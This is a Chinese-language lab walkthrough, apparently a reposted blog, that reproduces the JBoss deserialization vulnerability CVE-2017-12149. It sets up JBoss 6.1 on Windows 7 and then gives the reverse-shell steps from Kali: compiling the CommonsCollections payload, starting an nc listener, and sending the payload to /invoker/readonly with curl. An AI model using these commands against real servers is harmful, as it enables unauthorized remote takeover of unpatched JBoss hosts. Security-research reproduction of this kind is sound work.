JBoss反序列化漏洞(CVE-2017-12149)

前言:

JBoss 反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。但近期有安全研究者发现JBossAS 6.x也受该漏洞影响,恶意访问者利用该漏洞无需用户验证即可获得服务器的控制权。该漏洞的细节和验证代码已公开,为避免造成损失,建议及时修复升级至JBossAS 7版本

影响版本:

  • Jboss AS 5.x
  • JbossAS 6.x

漏洞复现:

复现环境:

  • Kali 192.168.107.139
  • win7 192.168.107.142
  • JBoss安装包、安装在win7系统上
  • JavaDeserH2HC.zip利用工具

第一步:win7上jdk的安装,由于过程比较简单这里就直接忽略了,安装好了打开cmd,输入java -version检查是否安装成功,如下截图为即为成功。
在这里插入图片描述

第二步:下载JBoss安装包,下载地址:http://jbossas.jboss.org/downloads/
这里下载的版本是jboss-as-6.1.0-final
2:将其解压到目录下,我这里目录是C:\jboss\jboss-6.1.0.Final(路径 中最好不要用空格)
3:新建环境变量,变量名是JBOSS_HOME变量值是C:\jboss\jboss-6.1.0.Final
在这里插入图片描述
在PATH路径最后加入;%JBOSS_HOME%\bin (最开始一定要加分号来隔开前面的路径)
在这里插入图片描述
4:设置好Jboss的环境变量后,来到C:\jboss\jboss-6.1.0.Final\bin目录下启动cmd,输入call run.bat -b 0.0.0.0启动JBoss服务器。
cmd中提示如下表示启动成功。
如果在启动过程中出现错误,仔细检查Jboss的环境变量是否正确。
在这里插入图片描述
5:打开浏览器,输入192.168.107.142:8080 出现下面的界面表示启动成功。
在这里插入图片描述
6:访问/invoker/readonly,如果提示500,表示漏洞还是存在的。
在这里插入图片描述
7:下载利用工具JavaDeserH2HC.zip 下载地址 下载后拷贝到kali下,解压后进入到该工具目录中。

在这里插入图片描述
8:确保在Kali下能够正常访问物理主机上的JBoss应用服务器且在此路径下(/invoker/readonly)返回500状态码
在这里插入图片描述
9:在Kali终端上输入javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java回车
在这里插入图片描述
继续输入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.107.139:8888(IP地址为Kali地址,端口为随机监听,只要不冲突就好,用来进行反弹shell)

在这里插入图片描述
10:在Kali下重新打开一个终端,输入nc -vv -lp 8888 进行8888端口的监听。
在这里插入图片描述

11:回到第9步终端,输入 curl http://192.168.107.142:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 回车,此时如果成功了会直接返回shell到第10步的终端中。

–data-binary的意思是使用curl命令向/invoker/readonly提交payload。
执行结果如下:
在这里插入图片描述
12:返回shell结果如下:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/cj_Allen/article/details/106194511
今日推荐